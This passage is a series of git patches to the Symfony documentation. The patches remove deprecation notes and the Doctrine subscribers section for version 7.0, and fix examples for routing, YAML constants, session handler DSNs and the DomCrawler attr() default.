 .. _`Signals`: https://en.wikipedia.org/wiki/Signal_(IPC)
 .. _`constants of the PCNTL PHP extension`: https://www.php.net/manual/en/pcntl.constants.php
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 0e46d0648fa..28ddc307fa0 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -152,13 +152,10 @@ has some methods to filter the input values:
 
 :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::filter`
     Filters the parameter by using the PHP :phpfunction:`filter_var` function.
-
-    .. deprecated:: 6.3
-
-        Ignoring invalid values when using ``filter()`` is deprecated and will throw
-        a :class:`Symfony\\Component\\HttpKernel\\Exception\\BadRequestHttpException`
-        in Symfony 7.0. You can use the ``FILTER_NULL_ON_FAILURE`` flag to keep
-        ignoring them.
+    If invalid values are found, a
+    :class:`Symfony\\Component\\HttpKernel\\Exception\\BadRequestHttpException`
+    is thrown. The ``FILTER_NULL_ON_FAILURE`` flag can be used to ignore invalid
+    values.
 
 All getters take up to two arguments: the first one is the parameter name
 and the second one is the default value to return if the parameter does not
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 5dfacd3e48f..19b0c54b6ec 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -114,10 +114,6 @@ If you use annotations instead of attributes, it's also required to call
         ->addDefaultDoctrineAnnotationReader() // add this only when using annotations
         ->getValidator();
 
-.. deprecated:: 6.4
-
-    Annotations are deprecated since Symfony 6.4, use attributes instead.
-
 To disable the annotation loader after it was enabled, call
 :method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAnnotationMapping`.
 
diff --git a/console.rst b/console.rst
index a242d99904c..a887b2a340d 100644
--- a/console.rst
+++ b/console.rst
@@ -171,12 +171,6 @@ You can optionally define a description, help message and the
     ``setDescription()`` method instead of the attribute to define the command
     description.
 
-.. deprecated:: 6.1
-
-    The static property ``$defaultDescription`` was deprecated in Symfony 6.1.
-    Instead, use the ``#[AsCommand]`` attribute to define the optional command
-    description.
-
 The ``configure()`` method is called automatically at the end of the command
 constructor. If your command defines its own constructor, set the properties
 first and then call to the parent constructor, to make those properties
@@ -238,11 +232,6 @@ If you can't use PHP attributes, register the command as a service and
 :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`.
 
-.. deprecated:: 6.1
-
-    The static property ``$defaultName`` was deprecated in Symfony 6.1.
-    Define your command name with the ``#[AsCommand]`` attribute instead.
-
 Running the Command
 ~~~~~~~~~~~~~~~~~~~
 
diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index 568a5a0620f..2402439fe8f 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -216,7 +216,7 @@ If you are documenting a brand new feature, a change or a deprecation that's
 been made in Symfony, you should precede your description of the change with
 the corresponding directive and a short description:
 
-For a new feature or a behavior change use the ``.. versionadded:: 6.x``
+For a new feature or a behavior change use the ``.. versionadded:: 7.x``
 directive:
 
 .. code-block:: rst
@@ -243,12 +243,12 @@ For a deprecation use the ``.. deprecated:: 6.x`` directive:
 
         ... ... ... was deprecated in Symfony 6.2.
 
-Whenever a new major version of Symfony is released (e.g. 6.0, 7.0, etc), a new
+Whenever a new major version of Symfony is released (e.g. 7.0, 8.0, etc), a new
 branch of the documentation is created from the ``x.4`` branch of the previous
 major version. At this point, all the ``versionadded`` and ``deprecated`` tags
 for Symfony versions that have a lower major version will be removed. For
-example, if Symfony 6.0 were released today, 5.0 to 5.4 ``versionadded`` and
-``deprecated`` tags would be removed from the new ``6.0`` branch.
+example, if Symfony 7.0 were released today, 6.0 to 6.4 ``versionadded`` and
+``deprecated`` tags would be removed from the new ``7.0`` branch.
 
 .. _reStructuredText: https://docutils.sourceforge.io/rst.html
 .. _Sphinx: https://www.sphinx-doc.org/
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 6b445ef74ea..ce345643d83 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -15,7 +15,7 @@ There are different ways to listen to these Doctrine events:
 
 * **Lifecycle callbacks**, they are defined as public methods on the entity classes and
   they are called when the events are triggered;
-* **Lifecycle listeners and subscribers**, they are classes with callback
+* **Lifecycle listeners**, they are classes with callback
   methods for one or more events and they are called for all entities;
 * **Entity listeners**, they are similar to lifecycle listeners, but they are
   called only for the entities of a certain class.
@@ -25,7 +25,7 @@ These are the **drawbacks and advantages** of each one:
 * Callbacks have better performance because they only apply to a single entity
   class, but you can't reuse the logic for different entities and they don't
   have access to :doc:`Symfony services </service_container>`;
-* Lifecycle listeners and subscribers can reuse logic among different entities
+* Lifecycle listeners can reuse logic among different entities
   and can access Symfony services but their performance is worse because they
   are called for all entities;
 * Entity listeners have the same advantages of lifecycle listeners and they have
@@ -37,7 +37,7 @@ to learn everything about them.
 
 .. seealso::
 
-    This article covers listeners and subscribers for Doctrine ORM. If you are
+    This article covers listeners for Doctrine ORM. If you are
     using ODM for MongoDB, read the `DoctrineMongoDBBundle documentation`_.
 
 Doctrine Lifecycle Callbacks
@@ -110,11 +110,6 @@ define a callback for the ``prePersist`` Doctrine event:
 Doctrine Lifecycle Listeners
 ----------------------------
 
-.. deprecated:: 6.3
-
-    Lifecycle subscribers are deprecated starting from Symfony 6.3 and will be
-    removed in Symfony 7.0. Use lifecycle listeners instead.
-
 Lifecycle listeners are defined as PHP classes that listen to a single Doctrine
 event on all the application entities. For example, suppose that you want to
 update some search index whenever a new entity is persisted in the database. To
@@ -201,7 +196,7 @@ listener in the Symfony application by creating a new service for it and
                         # this is the only required option for the lifecycle listener tag
                         event: 'postPersist'
 
-                        # listeners can define their priority in case multiple subscribers or listeners are associated
+                        # listeners can define their priority in case listeners are associated
                         # to the same event (default priority = 0; higher numbers = listener is run earlier)
                         priority: 500
 
@@ -219,7 +214,7 @@ listener in the Symfony application by creating a new service for it and
 
                 <!--
                     * 'event' is the only required option that defines the lifecycle listener
-                    * 'priority': used when multiple subscribers or listeners are associated to the same event
+                    * 'priority': used when multiple listeners are associated to the same event
                     *             (default priority = 0; higher numbers = listener is run earlier)
                     * 'connection': restricts the listener to a specific Doctrine connection
                 -->
@@ -248,7 +243,7 @@ listener in the Symfony application by creating a new service for it and
                     // this is the only required option for the lifecycle listener tag
                     'event' => 'postPersist',
 
-                    // listeners can define their priority in case multiple subscribers or listeners are associated
+                    // listeners can define their priority in case multiple listeners are associated
                     // to the same event (default priority = 0; higher numbers = listener is run earlier)
                     'priority' => 500,
 
@@ -262,12 +257,6 @@ listener in the Symfony application by creating a new service for it and
 
     The `AsDoctrineListener`_ attribute was introduced in DoctrineBundle 2.7.2.
 
-.. tip::
-
-    Symfony loads (and instantiates) Doctrine listeners only when the related
-    Doctrine event is actually fired; whereas Doctrine subscribers are always
-    loaded (and instantiated) by Symfony, making them less performant.
-
 .. tip::
 
     The value of the ``connection`` option can also be a
@@ -414,148 +403,6 @@ with the ``doctrine.orm.entity_listener`` tag as follows:
             ;
         };
 
-Doctrine Lifecycle Subscribers
-------------------------------
-
-Lifecycle subscribers are defined as PHP classes that implement the
-``Doctrine\Common\EventSubscriber`` interface and which listen to one or more
-Doctrine events on all the application entities. For example, suppose that you
-want to log all the database activity. To do so, define a subscriber for the
-``postPersist``, ``postRemove`` and ``postUpdate`` Doctrine events::
-
-    // src/EventListener/DatabaseActivitySubscriber.php
-    namespace App\EventListener;
-
-    use App\Entity\Product;
-    use Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface;
-    use Doctrine\ORM\Event\PostPersistEventArgs;
-    use Doctrine\ORM\Event\PostRemoveEventArgs;
-    use Doctrine\ORM\Event\PostUpdateEventArgs;
-    use Doctrine\ORM\Events;
-
-    class DatabaseActivitySubscriber implements EventSubscriberInterface
-    {
-        // this method can only return the event names; you cannot define a
-        // custom method name to execute when each event triggers
-        public function getSubscribedEvents(): array
-        {
-            return [
-                Events::postPersist,
-                Events::postRemove,
-                Events::postUpdate,
-            ];
-        }
-
-        // callback methods must be called exactly like the events they listen to;
-        // they receive an argument of type Post*EventArgs, which gives you access
-        // to both the entity object of the event and the entity manager itself
-        public function postPersist(PostPersistEventArgs $args): void
-        {
-            $this->logActivity('persist', $args->getObject());
-        }
-
-        public function postRemove(PostRemoveEventArgs $args): void
-        {
-            $this->logActivity('remove', $args->getObject());
-        }
-
-        public function postUpdate(PostUpdateEventArgs $args): void
-        {
-            $this->logActivity('update', $args->getObject());
-        }
-
-        private function logActivity(string $action, mixed $entity): void
-        {
-            // if this subscriber only applies to certain entity types,
-            // add some code to check the entity type as early as possible
-            if (!$entity instanceof Product) {
-                return;
-            }
-
-            // ... get the entity information and log it somehow
-        }
-    }
-
-.. note::
-
-    In previous Doctrine versions, instead of ``Post*EventArgs`` classes, you had
-    to use ``LifecycleEventArgs``, which was deprecated in Doctrine ORM 2.14.
-
-If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
-and DoctrineBundle 2.1 (released May 25, 2020) or newer, this example will already
-work! Otherwise, :ref:`create a service <service-container-creating-service>` for this
-subscriber and :doc:`tag it </service_container/tags>` with ``doctrine.event_subscriber``.
-
-If you need to configure some option of the subscriber (e.g. its priority or
-Doctrine connection to use) you must do that in the manual service configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            App\EventListener\DatabaseActivitySubscriber:
-                tags:
-                    - name: 'doctrine.event_subscriber'
-
-                      # subscribers can define their priority in case multiple subscribers or listeners are associated
-                      # to the same event (default priority = 0; higher numbers = listener is run earlier)
-                      priority: 500
-
-                      # you can also restrict listeners to a specific Doctrine connection
-                      connection: 'default'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
-            <services>
-                <!-- ... -->
-
-                <!--
-                    * 'priority': used when multiple subscribers or listeners are associated to the same event
-                    *             (default priority = 0; higher numbers = listener is run earlier)
-                    * 'connection': restricts the listener to a specific Doctrine connection
-                -->
-                <service id="App\EventListener\DatabaseActivitySubscriber">
-                    <tag name="doctrine.event_subscriber" priority="500" connection="default"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\EventListener\DatabaseActivitySubscriber;
-
-        return static function (ContainerConfigurator $container): void {
-            $services = $container->services();
-
-            $services->set(DatabaseActivitySubscriber::class)
-                ->tag('doctrine.event_subscriber'[
-                    // subscribers can define their priority in case multiple subscribers or listeners are associated
-                    // to the same event (default priority = 0; higher numbers = listener is run earlier)
-                    'priority' => 500,
-
-                    // you can also restrict listeners to a specific Doctrine connection
-                    'connection' => 'default',
-                ])
-            ;
-        };
-
-.. tip::
-
-    Symfony loads (and instantiates) Doctrine subscribers whenever the
-    application executes; whereas Doctrine listeners are only loaded when the
-    related event is actually fired, making them more performant.
-
 .. _`Doctrine`: https://www.doctrine-project.org/
 .. _`lifecycle events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html#lifecycle-events
 .. _`official docs about Doctrine events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html
diff --git a/mailer.rst b/mailer.rst
index 8dc952f2fb9..22807ed3533 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -581,12 +581,6 @@ Alternatively you can attach contents from a stream by passing it directly to th
         ->addPart(new DataPart(fopen('/path/to/documents/contract.doc', 'r')))
     ;
 
-.. deprecated:: 6.2
-
-    In Symfony versions previous to 6.2, the methods ``attachFromPath()`` and
-    ``attach()`` could be used to add attachments. These methods have been
-    deprecated and replaced with ``addPart()``.
-
 Embedding Images
 ~~~~~~~~~~~~~~~~
 
@@ -628,12 +622,6 @@ images inside the HTML contents::
 
     The support of embedded images as HTML backgrounds was introduced in Symfony 6.1.
 
-.. deprecated:: 6.2
-
-    In Symfony versions previous to 6.2, the methods ``embedFromPath()`` and
-    ``embed()`` could be used to embed images. These methods have been deprecated
-    and replaced with ``addPart()`` together with inline ``DataPart`` objects.
-
 .. _mailer-configure-email-globally:
 
 Configuring Emails Globally
@@ -1561,7 +1549,7 @@ Here's an example of making one available to download::
         {
             $message = (new DraftEmail())
                 ->html($this->renderView(/* ... */))
-                ->attach(/* ... */)
+                ->addPart(/* ... */)
             ;
 
             $response = new Response($message->toString());
diff --git a/messenger.rst b/messenger.rst
index c30e05c8836..b6ea33e8094 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -889,12 +889,6 @@ properties in the ``reset()`` method.
 If you don't want to reset the container, add the ``--no-reset`` option when
 running the ``messenger:consume`` command.
 
-.. deprecated:: 6.1
-
-    In Symfony versions previous to 6.1, the service container didn't reset
-    automatically between messages and you had to set the
-    ``framework.messenger.reset_on_message`` option to ``true``.
-
 .. _messenger-retries-failures:
 
 Retries & Failures
diff --git a/reference/attributes.rst b/reference/attributes.rst
index 761099a7356..6d0c4efa9ba 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -5,11 +5,6 @@ Attributes are the successor of annotations since PHP 8. Attributes are native
 to the language and Symfony takes full advantage of them across the framework
 and its different components.
 
-.. deprecated:: 6.4
-
-    Annotations across the framework are deprecated since Symfony 6.4, you must
-    only use attributes instead.
-
 Doctrine Bridge
 ~~~~~~~~~~~~~~~
 
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index b1f2139034a..e28c50978e1 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -270,13 +270,9 @@ you can control. The following configuration options exist for a mapping:
 ``type``
 ........
 
-One of ``annotation`` (for PHP annotations; it's the default value),
-``attribute`` (for PHP attributes), ``xml``, ``yml``, ``php`` or
-``staticphp``. This specifies which type of metadata type your mapping uses.
-
-.. deprecated:: 6.4
-
-    Annotations are deprecated since Symfony 6.4, use attributes instead.
+One of ``attribute`` (for PHP attributes; it's the default value),
+``xml``, ``yml``, ``php`` or ``staticphp``. This specifies which
+type of metadata type your mapping uses.
 
 See `Doctrine Metadata Drivers`_ for more information about this option.
 
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index f38c951e372..a561ed5ce6d 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -333,7 +333,7 @@ Array Operators
 * ``in`` (contain)
 * ``not in`` (does not contain)
 
-For example::
+These operators are using strict comparison. For example::
 
     class User
     {
diff --git a/reference/forms/types/options/date_widget_description.rst.inc b/reference/forms/types/options/date_widget_description.rst.inc
index 99573a2358a..956ad8c7148 100644
--- a/reference/forms/types/options/date_widget_description.rst.inc
+++ b/reference/forms/types/options/date_widget_description.rst.inc
@@ -10,8 +10,3 @@ following:
 
 * ``single_text``: renders a single input of type ``date``. User's input
   is validated based on the `format`_ option.
-
-.. deprecated:: 6.3
-
-    Not setting a value explicitly for this option is deprecated since Symfony 6.3
-    because the default value will change to ``single_text`` in Symfony 7.0.
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 0ee272f0325..58e6ef2d075 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -58,15 +58,6 @@ normalization process::
         }
     }
 
-.. deprecated:: 6.4
-
-    Injecting an ``ObjectNormalizer`` in your custom normalizer is deprecated
-    since Symfony 6.4. Implement the
-    :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerAwareInterface`
-    and use the
-    :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerAwareTrait` instead
-    to inject the ``$normalizer`` property.
-
 Registering it in your Application
 ----------------------------------
 
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 8a9ac1322f2..0262ae03e7e 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -211,12 +211,6 @@ automatically changed to ``'.inner'``):
                 ->args([service('.inner')]);
         };
 
-.. deprecated:: 6.3
-
-    The ``#[MapDecorated]`` attribute is deprecated since Symfony 6.3.
-    Instead, use the
-    :class:`#[AutowireDecorated] <Symfony\\Component\\DependencyInjection\\Attribute\\AutowireDecorated>` attribute.
-
 .. tip::
 
     The visibility of the decorated ``App\Mailer`` service (which is an alias

From a2f361ce8c1fc96549646b9c3712ecc5b7301c86 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 16 Aug 2023 13:10:53 +0200
Subject: [PATCH 5016/7107] [DomCrawler] Added argument $default to method
 Crawler::attr()

---
 components/dom_crawler.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 713073e30eb..4440a35f0ea 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -238,6 +238,18 @@ Access the attribute value of the first node of the current selection::
 
     $class = $crawler->filterXPath('//body/p')->attr('class');
 
+.. tip::
+
+    You can define the default value to use if the node or attribute is empty
+    by using the second argument of the ``attr()`` method::
+
+        $class = $crawler->filterXPath('//body/p')->attr('class', 'my-default-class');
+
+    .. versionadded:: 6.4
+
+        The possibility to specify a default value to the ``attr()`` method
+        was introduced in Symfony 6.4.
+
 Extract attribute and/or node values from the list of nodes::
 
     $attributes = $crawler

From 974914fe6aebf214617ade15fc6d4d1b84f07a78 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Wed, 16 Aug 2023 16:01:47 +0200
Subject: [PATCH 5017/7107] Remove paragraph about the impossibility to
 typehint a property

---
 service_container/injection_types.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 595ac79b185..d801ae0210d 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -364,15 +364,11 @@ Another possibility is setting public fields of the class directly::
         };
 
 There are mainly only disadvantages to using property injection, it is similar
-to setter injection but with these additional important problems:
+to setter injection but with this additional important problem:
 
 * You cannot control when the dependency is set at all, it can be changed
   at any point in the object's lifetime.
 
-* You cannot use type hinting so you cannot be sure what dependency is injected
-  except by writing into the class code to explicitly test the class instance
-  before using it.
-
 But, it is useful to know that this can be done with the service container,
 especially if you are working with code that is out of your control, such
 as in a third party library, which uses public properties for its dependencies.

From 16bb4988c9e1c3c088f967eb33e70c32b50a51fa Mon Sep 17 00:00:00 2001
From: Maksim Tiugaev <tugmaks@yandex.ru>
Date: Wed, 16 Aug 2023 22:00:54 +0300
Subject: [PATCH 5018/7107] [Routing] Fix xml and yaml example for forcing
 https

---
 routing.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index ad7062e5fa5..f4116bd2158 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2979,8 +2979,7 @@ defined as annotations:
         controllers:
             resource: '../../src/Controller/'
             type: annotation
-            defaults:
-                schemes: [https]
+            schemes: [https]
 
     .. code-block:: xml
 
@@ -2991,9 +2990,7 @@ defined as annotations:
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <import resource="../../src/Controller/" type="annotation">
-                <default key="schemes">HTTPS</default>
-            </import>
+            <import resource="../../src/Controller/" type="annotation" schemes="https"/>
         </routes>
 
     .. code-block:: php

From bae960241c7f044659e3c503b79d63f85e8b960b Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 17 Aug 2023 12:47:16 +0200
Subject: [PATCH 5019/7107] clean up more legacy annotation config

---
 components/validator/resources.rst | 13 +++----------
 1 file changed, 3 insertions(+), 10 deletions(-)

diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 19b0c54b6ec..1b512942325 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -88,30 +88,24 @@ The AnnotationLoader
 
 At last, the component provides an
 :class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AnnotationLoader` to get
-the metadata from the annotations of the class. Annotations are defined as ``@``
-prefixed classes included in doc block comments (``/** ... */``). For example::
+the metadata from the attributes of the class::
 
     use Symfony\Component\Validator\Constraints as Assert;
     // ...
 
     class User
     {
-        /**
-         * @Assert\NotBlank
-         */
+        #[Assert\NotBlank]
         protected string $name;
     }
 
 To enable the annotation loader, call the
-:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` method.
-If you use annotations instead of attributes, it's also required to call
-``addDefaultDoctrineAnnotationReader()`` to use Doctrine's annotation reader::
+:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` method::
 
     use Symfony\Component\Validator\Validation;
 
     $validator = Validation::createValidatorBuilder()
         ->enableAnnotationMapping()
-        ->addDefaultDoctrineAnnotationReader() // add this only when using annotations
         ->getValidator();
 
 To disable the annotation loader after it was enabled, call
@@ -133,7 +127,6 @@ multiple mappings::
 
     $validator = Validation::createValidatorBuilder()
         ->enableAnnotationMapping(true)
-        ->addDefaultDoctrineAnnotationReader()
         ->addMethodMapping('loadValidatorMetadata')
         ->addXmlMapping('validator/validation.xml')
         ->getValidator();

From 019c4e154641c51bf212865d50252201cf7ff50b Mon Sep 17 00:00:00 2001
From: David Rolston <gizmola@gmail.com>
Date: Thu, 17 Aug 2023 16:01:12 -0700
Subject: [PATCH 5020/7107] Update page_creation.rst remove unstyled diff
 symbol

This is a left over from docs showing both annotation and attribute route methods.  The plus sign isn't handled because the code block is not a diff.  Issue was brought up by a confused user.
---
 page_creation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/page_creation.rst b/page_creation.rst
index a7d6e84c199..c7cdb533c3a 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -104,7 +104,7 @@ You can now add your route directly *above* the controller:
         // src/Controller/LuckyController.php
 
         // ...
-        + use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Annotation\Route;
 
         class LuckyController
         {

From 264ebcce09a7e51177367c4cc61748a663955afd Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 18 Aug 2023 11:54:17 +0200
Subject: [PATCH 5021/7107] [FrameworkBundle] Add documentation about using a
 DSN as the `session.handler_id`

---
 reference/configuration/framework.rst | 74 ++++++++++++++++++++++++++-
 1 file changed, 72 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 52f9e78a823..393760b5a0d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1608,10 +1608,80 @@ handler_id
 
 **type**: ``string`` **default**: ``session.handler.native_file``
 
-The service id used for session storage. The default value ``'session.handler.native_file'``
+The service id or DSN used for session storage. The default value ``'session.handler.native_file'``
 will let Symfony manage the sessions itself using files to store the session metadata.
 Set it to ``null`` to use the native PHP session mechanism.
-You can also :ref:`store sessions in a database <session-database>`.
+It is possible to :ref:`store sessions in a database <session-database>`,
+and also to configure the session handler with a DSN:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            session:
+                # a few possible examples
+                handler_id: 'redis://localhost'
+                handler_id: '%env(REDIS_URL)%'
+                handler_id: '%env(DATABASE_URL)%'
+                handler_id: 'file://%kernel.project_dir%/var/sessions'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <!-- a few possible examples -->
+                <framework:session enabled="true"
+                    handler-id="redis://localhost"
+                    handler-id="%env(REDIS_URL)%"
+                    handler-id="%env(DATABASE_URL)%"
+                    handler-id="file://%kernel.project_dir%/var/sessions"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            // ...
+
+            $framework->session()
+                // a few possible examples
+                ->handlerId('redis://localhost')
+                ->handlerId(env('REDIS_URL'))
+                ->handlerId(env('DATABASE_URL'))
+                ->handlerId('file://%kernel.project_dir%/var/sessions');
+        };
+
+.. note::
+
+    Supported DSN protocols are the following:
+
+    * ``file``
+    * ``redis``
+    * ``rediss`` (Redis over TLS)
+    * ``memcached`` (requires :doc:`symfony/cache </components/cache>`)
+    * ``pdo_oci`` (requires :doc:`doctrine/dbal </doctrine/dbal>`)
+    * ``mssql``
+    * ``mysql``
+    * ``mysql2``
+    * ``pgsql``
+    * ``postgres``
+    * ``postgresql``
+    * ``sqlsrv``
+    * ``sqlite``
+    * ``sqlite3``
 
 .. _name:
 

From 422acb3bb665c80dd20e62fc9d905afb7c67c451 Mon Sep 17 00:00:00 2001
From: Maxim Tyugaev <tugmaks@yandex.ru>
Date: Mon, 21 Aug 2023 10:45:30 +0300
Subject: [PATCH 5022/7107] [Lock] small typo

---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index ea7a66f0432..a856523baa7 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -944,7 +944,7 @@ have synchronized clocks.
 PostgreSqlStore
 ~~~~~~~~~~~~~~~
 
-The PdoStore relies on the `Advisory Locks`_ properties of the PostgreSQL
+The PostgreSqlStore relies on the `Advisory Locks`_ properties of the PostgreSQL
 database. That means that by using :ref:`PostgreSqlStore <lock-store-pgsql>`
 the locks will be automatically released at the end of the session in case the
 client cannot unlock for any reason.

From 4121f05e43f1ee0c00f5fea3a518f2c2b7d88e0a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pierre=20P=C3=A9lisset?= <ppierre@recisio.com>
Date: Thu, 17 Aug 2023 17:06:51 +0200
Subject: [PATCH 5023/7107] Fix !php/const syntax in yaml

Quoted scalar is not evaluated
---
 reference/configuration/framework.rst | 30 +++++++++++++--------------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 52f9e78a823..3de27707e94 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2915,21 +2915,21 @@ This option also accepts a map of PHP errors to log levels:
         framework:
             php_errors:
                 log:
-                    '!php/const \E_DEPRECATED': !php/const Psr\Log\LogLevel::ERROR
-                    '!php/const \E_USER_DEPRECATED': !php/const Psr\Log\LogLevel::ERROR
-                    '!php/const \E_NOTICE': !php/const Psr\Log\LogLevel::ERROR
-                    '!php/const \E_USER_NOTICE': !php/const Psr\Log\LogLevel::ERROR
-                    '!php/const \E_STRICT': !php/const Psr\Log\LogLevel::ERROR
-                    '!php/const \E_WARNING': !php/const Psr\Log\LogLevel::ERROR
-                    '!php/const \E_USER_WARNING': !php/const Psr\Log\LogLevel::ERROR
-                    '!php/const \E_COMPILE_WARNING': !php/const Psr\Log\LogLevel::ERROR
-                    '!php/const \E_CORE_WARNING': !php/const Psr\Log\LogLevel::ERROR
-                    '!php/const \E_USER_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
-                    '!php/const \E_RECOVERABLE_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
-                    '!php/const \E_COMPILE_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
-                    '!php/const \E_PARSE': !php/const Psr\Log\LogLevel::CRITICAL
-                    '!php/const \E_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
-                    '!php/const \E_CORE_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_DEPRECATED: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_USER_DEPRECATED: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_NOTICE: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_USER_NOTICE: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_STRICT: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_WARNING: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_USER_WARNING: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_COMPILE_WARNING: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_CORE_WARNING: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_USER_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_RECOVERABLE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_COMPILE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_PARSE: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_CORE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
 
     .. code-block:: xml
 

From a945941e31357df7cebcfc62a25c14bba97c8491 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 18 Aug 2023 10:42:20 +0200
Subject: [PATCH 5024/7107] [FrameworkBundle] Add
 AbstractController::renderBlock() and renderBlockView()

---
 templates.rst | 49 +++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 49 insertions(+)

diff --git a/templates.rst b/templates.rst
index ba716427367..78289802649 100644
--- a/templates.rst
